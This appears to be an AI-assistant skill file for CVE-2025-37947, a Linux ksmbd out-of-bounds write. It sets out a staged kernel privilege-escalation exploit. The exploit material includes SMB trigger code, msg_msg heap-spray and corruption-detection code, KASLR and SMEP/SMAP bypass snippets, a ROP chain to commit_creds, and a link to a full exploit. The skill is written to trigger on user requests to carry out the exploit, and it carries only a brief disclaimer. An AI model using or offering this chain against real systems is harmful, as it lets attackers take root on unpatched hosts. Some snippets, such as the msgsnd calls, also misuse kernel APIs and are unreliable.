| name | ksmbd-cve-2025-37947-exploit |
| description | Use this skill when the user needs to understand, analyze, or exploit CVE-2025-37947 (ksmbd streams_xattr OOB write vulnerability) for local privilege escalation on Linux. Trigger this skill for any questions about ksmbd kernel exploitation, the msg_msg + pipe_buffer primitive, heap grooming strategies, or when the user mentions ksmbd, streams_xattr, CVE-2025-37947, or wants to perform kernel LPE on Ubuntu 22.04 with ksmbd enabled. |
ksmbd CVE-2025-37947 Exploitation Skill
This skill provides comprehensive guidance for understanding and exploiting CVE-2025-37947, a deterministic out-of-bounds write vulnerability in the ksmbd kernel module that enables local privilege escalation on Ubuntu 22.04 LTS (5.15.0-153-generic).
When to Use This Skill
Use this skill when:
- The user asks about ksmbd vulnerabilities or CVE-2025-37947
- The user needs to perform kernel LPE on a system with ksmbd enabled
- The user wants to understand the msg_msg + pipe_buffer exploitation primitive
- The user needs help with kernel heap grooming or page shaping
- The user is researching kernel exploitation techniques
- The user mentions streams_xattr, SMB shares, or ksmbd_vfs_stream_write
Vulnerability Overview
Root Cause
The vulnerability exists in fs/ksmbd/vfs.c in the ksmbd_vfs_stream_write() function:
static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count)
{
char *stream_buf = NULL, *wbuf;
size_t size;
size = *pos + count;
if (size > XATTR_SIZE_MAX) {
size = XATTR_SIZE_MAX;
count = (*pos + count) - XATTR_SIZE_MAX;
}
wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO);
stream_buf = wbuf;
memcpy(&stream_buf[*pos], buf, count);
kvfree(stream_buf);
return err;
}
The bug: When *pos >= 0x10000, the destination pointer &stream_buf[*pos] is already outside the allocated buffer, but memcpy still writes count bytes, causing an out-of-bounds write.
Offset Steering
Example calculation:
- Set
pos = 0x10018, count = 8
- After clamping:
count' = (0x10018 + 8) - 0x10000 = 0x20 (32 bytes)
memcpy writes 32 bytes starting at stream_buf[0x10018]
- This is 0x18 bytes beyond the 16-page allocation
Prerequisites
System Requirements
- Ubuntu 22.04 LTS with kernel 5.15.0-153-generic (or similar 5.15.x)
- ksmbd kernel module loaded
- SMB share configured with
vfs objects = streams_xattr
- User account with access to the SMB share
SMB Share Configuration
[share]
path = /share
vfs objects = streams_xattr
writeable = yes
browseable = yes
Required Tools
libsmb2 library for SMB2/3 communication
gcc for compiling exploit code
bpftrace or bcc for eBPF tracing (optional but recommended)
gdb for debugging
Exploitation Strategy
High-Level Plan
The exploitation uses the msg_msg + pipe_buffer primitive (adapted from CVE-2021-22555):
- Heap Grooming: Pre-shape physical memory so a target lies immediately after the 16-page kvmalloc buffer
- Trigger OOB: Use SMB streams write to corrupt adjacent kernel object
- Corrupt msg_msg: Overwrite a primary message's next pointer to create shared secondary
- Detect Corruption: Scan message queues to find mismatched tags
- Use-After-Free: Free real secondary, reclaim with fake msg_msg via UNIX sockets
- Infoleak: Abuse m_ts over-read to leak kernel heap pointers (bypass SMAP)
- Stabilize: Rebuild consistent fake msg_msg with sk_buff spray
- KASLR Bypass: Reclaim UAF with pipe_buffer, leak anon_pipe_buf_ops
- ROP Chain: Spray fake pipe_buf_operations with ROP gadget, execute to gain root
Stage 1: Heap Grooming
The kvmalloc(0x10000, GFP_KERNEL|__GFP_ZERO) allocates an order-4 (16 contiguous pages) block from the buddy allocator. You must pre-groom memory so a chosen target lies immediately after this block.
sudo cat /proc/pagetypeinfo | sed -n '/Node 0, zone Normal/,/Node/p'
sudo ./scripts/bpf-tracer.sh
Grooming Strategy:
- Spray ~1000-2000 msg_msg objects of ~4096 bytes (fits kmalloc-cg-4k)
- Receive some messages to punch holes and encourage adjacency
- Exhaust order-3 and order-4 freelists to force allocator to split order-5 block
- This creates adjacent order-4 + order-3 pair
- Park order-3 slab (kmalloc-cg-4k) directly after stream buffer
Stage 2: Trigger OOB Write
#include <smb2/libsmb2.h>
struct smb2_context *smb2;
struct smb2_tcon *tcon;
struct smb2_fd *fd;
smb2 = smb2_init("127.0.0.1");
smb2_set_dialect(smb2, SMB2_DIALECT_21);
smb2_session_login(smb2, "username", "password", "workgroup");
tcon = smb2_tree_connect(smb2, "\\\\127.0.0.1\\share");
fd = smb2_open(smb2, tcon, "\\file:stream", O_RDWR);
char payload[8] = {0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
smb2_pwrite(fd, payload, 8, 0x0000010018ULL);
smb2_close(fd);
smb2_tree_disconnect(tcon);
smb2_session_logout(smb2);
smb2_free(smb2);
Stage 3: msg_msg Corruption
#define MSG_SIZE 4096
#define SPRAY_COUNT 1500
int msgq = msgget(IPC_PRIVATE, 0666);
struct msghdr msg;
char *buf = malloc(MSG_SIZE);
for (int i = 0; i < SPRAY_COUNT; i++) {
msg.msg_base = buf;
msg.msg_len = MSG_SIZE;
msg.msg_type = i + 1;
msgsnd(msgq, &msg, MSG_SIZE, 0);
}
for (int i = 0; i < 100; i++) {
msgrcv(msgq, buf, MSG_SIZE, i + 1, 0);
}
Stage 4: Detect Corruption
for (int type = 1; type <= SPRAY_COUNT; type++) {
struct msghdr msg;
msg.msg_base = buf;
msg.msg_len = MSG_SIZE;
msg.msg_type = type;
ssize_t ret = msgrcv(msgq, &buf, MSG_SIZE, type, MSG_COPY | IPC_NOWAIT);
if (ret > 0) {
if (is_corrupted(buf)) {
printf("Found corrupted message at type %d\n", type);
break;
}
}
}
Stage 5-9: Full Exploitation
See the full exploit code at: https://github.com/doyensec/KSMBD-CVE-2025-37947/blob/main/CVE-2025-37947.c
Observability and Debugging
eBPF Tracer
Run the provided tracer to monitor kvmalloc addresses:
sudo ./scripts/bpf-tracer.sh
This logs allocation addresses and sizes, helping verify heap grooming:
grep 4048 out-4096.txt
grep 65536 out-65536.txt
Kernel Memory Inspection
sudo cat /proc/pagetypeinfo
sudo cat /proc/slabinfo | grep -E 'kmalloc-cg-4k|msg_msg'
sudo dmesg -w
Key Parameters to Tune
| Parameter | Typical Value | Purpose |
|---|
| msg_msg spray count | 1000-2000 | Populate order-3 slabs |
| Hole punch count | 50-150 | Create adjacency opportunities |
| OOB offset (pos) | 0x10018 | Control OOB write location |
| OOB length (count) | 8 | Results in 32-byte OOB after clamping |
| UNIX socket spray | 50-100 | Reclaim UAF with fake msg_msg |
| sk_buff spray | 100-200 | Stabilize fake msg_msg |
| pipe_buffer spray | 20-50 | Reclaim for KASLR bypass |
Bypassing Mitigations
KASLR
Leak anon_pipe_buf_ops address via pipe_buffer UAF:
read(pipe_fd, buf, sizeof(buf));
anon_pipe_buf_ops = *(uint64_t*)(buf + offset);
kernel_base = anon_pipe_buf_ops - anon_pipe_buf_ops_offset;
SMEP/SMAP
Execute ROP chain in kernel context via pipe_buf_operations->release:
struct fake_pipe_buf_ops {
uint64_t release;
uint64_t reserved;
uint64_t ops[10];
};
uint64_t rop_chain[] = {
gadget_disable_smep_smap,
gadget_prepare_kernel_cred,
gadget_commit_creds,
gadget_ret
};
Hardened Usercopy
Not applicable - the page overflow primitive corrupts non-usercopy kernel fields directly.
Reliability and Tuning
- Success rate: High once adjacency is achieved (~90%+)
- Common failures: <10% panics or misses
- Improvement tips:
- Overwrite two LSBs of pointer to induce specific collisions
- Write pattern
0x0000_0000_0000_0500 into overlap region
- Tune spray/free counts based on kernel version
- Use eBPF tracing to verify heap state before triggering
Safety Warnings
⚠️ IMPORTANT: This skill is for educational and security research purposes only.
- Only test on systems you own or have explicit authorization to test
- Kernel exploitation can cause system instability or crashes
- This vulnerability affects specific kernel versions - check your system
- Always have backups before testing kernel exploits
- Consider using VMs for testing
References
Quick Start
To begin exploitation:
- Verify system is vulnerable (kernel 5.15.x with ksmbd)
- Configure SMB share with streams_xattr
- Run heap grooming script
- Trigger OOB write via SMB
- Execute full exploit chain
- Verify root access
Use the provided scripts and adapt parameters based on your system configuration.